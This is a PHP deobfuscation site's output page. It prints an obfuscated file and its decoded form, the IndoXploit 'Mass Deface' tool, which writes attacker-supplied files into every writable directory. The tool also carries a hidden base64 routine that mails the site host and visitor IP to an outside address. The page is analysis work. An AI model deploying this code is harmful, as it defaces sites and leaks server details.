Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000..

Decoded Output download


$IIIIIIIIIIII = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaWYgKCR2aXNpdGMgPT0gIiIpIHsKICAkdmlzaXRjICA9IDA7CiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKICAkd2ViICAgICA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsKICAkaW5qICAgICA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOwogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7CiAgJGp1ZHVsICAgPSAiYjM3NGsgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOwogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvciAtICR1c2VyIC0gJHNfcGFzcyI7CiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiaGFyZHdhcmVoZWF2ZW4uY29tQGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5LCR1c2VyLCRzX3Bhc3MpOyB9Cn0KZWxzZSB7ICR2aXNpdGMrKzsgfQpAc2V0Y29va2llKCJ2aXNpdHoiLCR2aXNpdGMpOw==";
eval($GLOBALS['IIIIIIIIIIIl']($IIIIIIIIIIII));
function IIIIIIIIIII1($IIIIIIIIIIlI,$script){
$IIIIIIIIIIl1 = $GLOBALS['IIIIIIIIII1I']($IIIIIIIIIIlI,"w");
$GLOBALS['IIIIIIIIII1l']($IIIIIIIIIIl1,$script);
}
function IIIIIIIIII11($IIIIIIIIIlII){
if($GLOBALS['IIIIIIIIIlIl']($IIIIIIIIIlII)){
$nama = $_POST['nama'];
$script = $_POST['script'];
$a = scandir("$IIIIIIIIIlII");
foreach($a as $IIIIIIIIIlll){
if($IIIIIIIIIlll == "."|$IIIIIIIIIlll == ".."){
}elseif($GLOBALS['IIIIIIIIIll1']("$IIIIIIIIIlII/$IIIIIIIIIlll")){
$IIIIIIIIIl1I = "$IIIIIIIIIlII/$IIIIIIIIIlll";
if($GLOBALS['IIIIIIIIIlIl']($IIIIIIIIIl1I)){
echo "$IIIIIIIIIl1I/$nama <== sukses<br>";
$IIIIIIIIIl1l = IIIIIIIIIII1("$IIIIIIIIIl1I/$nama","$script");
$IIIIIIIIIl11 = IIIIIIIIII11($IIIIIIIIIl1I);
}
else{
echo "Dir ngk writeable";
}
}
}
}
else{
echo "Dir ngk Writeable";
}
}
if($_POST){
$cwd = $_POST['dir'];
$IIIIIIIII1Il = IIIIIIIIII11($cwd);
echo $IIIIIIIII1Il;
}
else{
echo '<html>
	<head>
		<title>Created By IndoXploit</title>
	</head>

	<body>
			<center>
				<font face="arial"><h2>INDO<font color="red">}{</font>PLOIT <br><br>Tool Mass Deface </h2><hr></font>
						<table>
							<tr><td><form method="post" action="?action"></td></tr>
							<tr><td><input type="text" name="dir" placeholder="Dir"></td> </tr>
							<tr><td><input type="text" name="nama" placeholder="k.php / Nama Filenya"></td> </tr>
							<tr><td><textarea rows="10" cols="19px" name="script" placeholder="Hacked By Tu5b0l3d / Script"></textarea></td></tr>

							<br><tr><td><input type="submit" value="Submit"></td></tr>
							</form>
						</table>
						<font color="red">*nb: gw saranin jangan tebas index.</font>
			</center>

	</body>
</html>';
}
;

Did this file decode correctly?

Original Code

<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};?><?php eval($GLOBALS['OOO0000O0']('JElJSUlJSUlJSWxsMT0naXNfZGlyJzskSUlJSUlJSUlJbElsPSdpc193cml0YWJsZSc7JElJSUlJSUlJSUkxbD0nZnB1dHMnOyRJSUlJSUlJSUlJMUk9J2ZvcGVuJzskSUlJSUlJSUlJSUlsPSdiYXNlNjRfZGVjb2RlJzs=')); ?><?php /* [email protected] */$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0xc54;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTZkKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdhM21MZS84SVdRNFpyZjl3YmNWcDI3RW82SFlYU3N1akNKTU5La1AweFRSMXlkaDVCQWx2RFUrcUdpRm5PZ3R6PScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>@sHlLvINr\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gJmL

Function Calls

fopen 1
fread 3
strtr 2
fclose 1
urldecode 1
str_replace 1
base64_decode 4

Variables

$O000O0O00 True
$O0O000O00 fgets
$O0O000O0O fgetc
$O0O00OO00 fread
$OO00O0000 3156
$OO00O00O0 $IIIIIIIIIIII = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsKaW..
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php
$IIIIIIIIII1I fopen
$IIIIIIIIII1l fputs
$IIIIIIIIIIIl base64_decode
$IIIIIIIIIlIl is_writable
$IIIIIIIIIll1 is_dir

Stats

MD5 a0d812d201fb20f002042f8425c6ee4d
Eval Count 4
Decode Time 130 ms